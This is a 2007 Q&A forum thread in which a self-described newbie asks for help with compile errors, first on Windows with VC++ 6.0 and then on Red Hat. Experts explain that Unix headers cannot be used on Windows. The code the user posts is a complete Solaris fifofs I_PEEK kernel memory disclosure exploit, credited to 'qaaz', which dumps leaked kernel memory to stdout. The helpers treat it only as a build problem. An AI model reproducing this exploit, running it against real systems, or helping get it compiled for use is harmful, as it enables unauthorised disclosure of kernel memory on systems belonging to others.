Learn how to a build a cloud-first strategyRegister Now

x
?
Solved

syntax error : missing ';' before identifier '__attribute__'

Posted on 2007-10-12
21
Medium Priority
?
1,555 Views
Last Modified: 2008-05-25
am @ windows server 2003  and using vc++ 6.0 standard edition.

while Compiling...
kernel-2.4.cpp

am getting these error . plz help

----------------------------------------------------------------------------------------------------------------------------->
Deleting intermediate files and output files for project 'kernel-2.4 - Win32 Debug'.
--------------------Configuration: kernel-2.4 - Win32 Debug--------------------
Compiling...
kernel-2.4.cpp
c:\vc98\include\unistd.h(99) : error C2146: syntax error : missing ';' before identifier '__attribute__'
c:\vc98\include\unistd.h(99) : fatal error C1004: unexpected end of file found
Error executing cl.exe.

kernel-2.4.exe - 2 error(s), 0 warning(s)
----------------------------------------------------------------------------------------------------------------------------->
0
Comment
Question by:thedonation
  • 9
  • 6
  • 4
  • +1
20 Comments
 
LVL 53

Expert Comment

by:Infinity08
ID: 20063540
Can you post your code ? The part relevant to this error ?
0
 

Author Comment

by:thedonation
ID: 20063562
u mean the source ?   -----> kernel-2.4.cpp
0
 
LVL 4

Expert Comment

by:bdunz19
ID: 20063565
Like Infinity said, it's important to see the relevant code.

I know that some times the error "unexpected end of file found" can be caused when missing a header file like stdafx.h if you're requiring precomiled headers.
0
Technology Partners: We Want Your Opinion!

We value your feedback.

Take our survey and automatically be enter to win anyone of the following:
Yeti Cooler, Amazon eGift Card, and Movie eGift Card!

 

Author Comment

by:thedonation
ID: 20063574
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

#define PAGE_COUNT      1000

int      main(int argc, char *argv[])
{
      struct strpeek      strpeek;
      char            *buf, *end;
      int            pg = PAGE_COUNT, fd, pagesz, bufsz;

      fprintf(stderr,
            "---------------------------------------\n"
            " Solaris fifofs I_PEEK Kmem Disclosure\n"
            " By qaaz\n"
            "---------------------------------------\n");

      if (argc > 1) pg = atoi(argv[1]);

      pagesz = getpagesize();

      if (mknod("fifo", S_IFIFO | 0666, 0) < 0) {
            perror("mknod");
            return -1;
      }

      switch (fork()) {
      case -1:
            perror("fork");
            goto cleanup;
      case  0:
            if ((fd = open("fifo", O_WRONLY)) < 0) {
                  perror("open");
                  exit(0);
            }
            write(fd, "abcd", 4);
            exit(0);
            break;
      default:
            if ((fd = open("fifo", O_RDONLY)) < 0) {
                  perror("open");
                  goto cleanup;
            }
            break;
      }

      bufsz = (pg + 1) * pagesz;
      if (!(buf = memalign(pagesz, bufsz))) {
            perror("malloc");
            goto cleanup;
      }
      
      memset(buf, 0, bufsz);
      end = buf + (pg * pagesz);
      
      fprintf(stderr, "-> [ %p .. %p ]\n", buf, end);
      fflush(stderr);

      if (mprotect(end, pagesz, PROT_NONE) < 0) {
            perror("mprotect");
            goto cleanup;
      }

      memset(&strpeek, 0, sizeof(strpeek));
      strpeek.databuf.buf = buf;
      strpeek.databuf.maxlen = -1;
      if (ioctl(fd, I_PEEK, &strpeek) < 0) {
            perror("ioctl");
            goto cleanup;
      }

      while (end > buf && end[-1] == 0)
            end--;
      fprintf(stderr, "== %d\n", (int) (end - buf));
      fflush(stderr);

      if (!isatty(1))
            write(1, buf, (size_t) (end - buf));

cleanup:
      unlink("fifo");
      return 0;
}
0
 
LVL 4

Expert Comment

by:bdunz19
ID: 20063575
unistd.h from what I can find on google looks like it only contains unix specific definitions. Is there any reason why you need this on a windows 2003 box?
0
 
LVL 4

Accepted Solution

by:
bdunz19 earned 100 total points
ID: 20063592
Ok you are programming on windows right? Your C:\vc98\include directory should not have any of the following files:

#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

Those headers are for unix/linux.
0
 

Author Comment

by:thedonation
ID: 20063595
let me explain .
 am newbie on this ,
my include/sys folder was missing some headers files like unistd.h and some others ,
i just googled ----> index.of include/sys <-------------
and found them ,  i think i download unix headers files,
 help me getting correct header files.
0
 
LVL 53

Expert Comment

by:Infinity08
ID: 20063596
You compile that code, and that gives the error ?

I can see at least one suspicious line :

        struct strpeek      strpeek;

It's not the best idea to name an instance of a struc the same way as the struct itself.


But that's probably not the cause of the error. The error occurred at this line :

        #include <unistd.h>

The headers before that are all normal system headers, so unless something got modified in them (did you ?), I don't see the problem (there's nothing before the code you posted, isn't there ?).

Can you try moving that include to the beginning of the file ?
0
 
LVL 53

Assisted Solution

by:Infinity08
Infinity08 earned 100 total points
ID: 20063599
>> and found them ,  i think i download unix headers files,

Aaaah ... You can't just download headers and expect it to work :)

What are you trying to do ? Are you trying to compile Linux specific code on a Windows platform ? If so, stop right there ... That's a bad idea.
0
 
LVL 53

Expert Comment

by:Infinity08
ID: 20063601
Good catch btw, bdunz19. I missed the Windows bit heh
0
 

Author Comment

by:thedonation
ID: 20063621
where can i get the windows headers files if they are missing ?
0
 
LVL 53

Expert Comment

by:Infinity08
ID: 20063640
Again : what are you trying to do ?
0
 

Author Comment

by:thedonation
ID: 20063646
like i said am new .
0
 

Author Comment

by:thedonation
ID: 20063652
trying to learn how to compile codes.
0
 

Author Comment

by:thedonation
ID: 20063691
so i shud move to linux compiler ok ?
0
 

Author Comment

by:thedonation
ID: 20063728
am on red hat now
 i c this error

--
root@lss606 [~/cgi/pm/pm/c]# g++ solair.cpp
solair.cpp: In function `int main(int, char**)':
solair.cpp:55: error: `memalign' was not declared in this scope
0
 
LVL 4

Expert Comment

by:bdunz19
ID: 20063827
For memalign, make sure you #include <stdlib.h>

Also, make sure you use the headers that were installed with g++, not any that you download off google (at least untill you know what you are doing ;) ).
0
 

Author Comment

by:thedonation
ID: 20063957
these are my code headers ..

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
0
 
LVL 53

Expert Comment

by:Infinity08
ID: 20064141
>> trying to learn how to compile codes.

I mean, why did you pick that code to compile ? It's some specific code for Solaris ... There's no sense in trying to compile it for Windows.
0
 
LVL 6

Expert Comment

by:SeanDurkin
ID: 21535253
No comment has been added to this question in more than 21 days, so it is now classified as abandoned.

I will leave the following recommendation for this question in the Cleanup Zone:
      Split: bdunz19 {http:#20063592} & Infinity08 {http:#20063599}

Any objections should be posted here in the next 4 days. After that time, the question will be closed.

Sean
EE Cleanup Volunteer
0

Featured Post

Free Tool: Subnet Calculator

The subnet calculator helps you design networks by taking an IP address and network mask and returning information such as network, broadcast address, and host range.

One of a set of tools we're offering as a way of saying thank you for being a part of the community.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Unlike C#, C++ doesn't have native support for sealing classes (so they cannot be sub-classed). At the cost of a virtual base class pointer it is possible to implement a pseudo sealing mechanism The trick is to virtually inherit from a base class…
Article by: SunnyDark
This article's goal is to present you with an easy to use XML wrapper for C++ and also present some interesting techniques that you might use with MS C++. The reason I built this class is to ease the pain of using XML files with C++, since there is…
The goal of the video will be to teach the user the difference and consequence of passing data by value vs passing data by reference in C++. An example of passing data by value as well as an example of passing data by reference will be be given. Bot…
The viewer will be introduced to the member functions push_back and pop_back of the vector class. The video will teach the difference between the two as well as how to use each one along with its functionality.
Suggested Courses

810 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question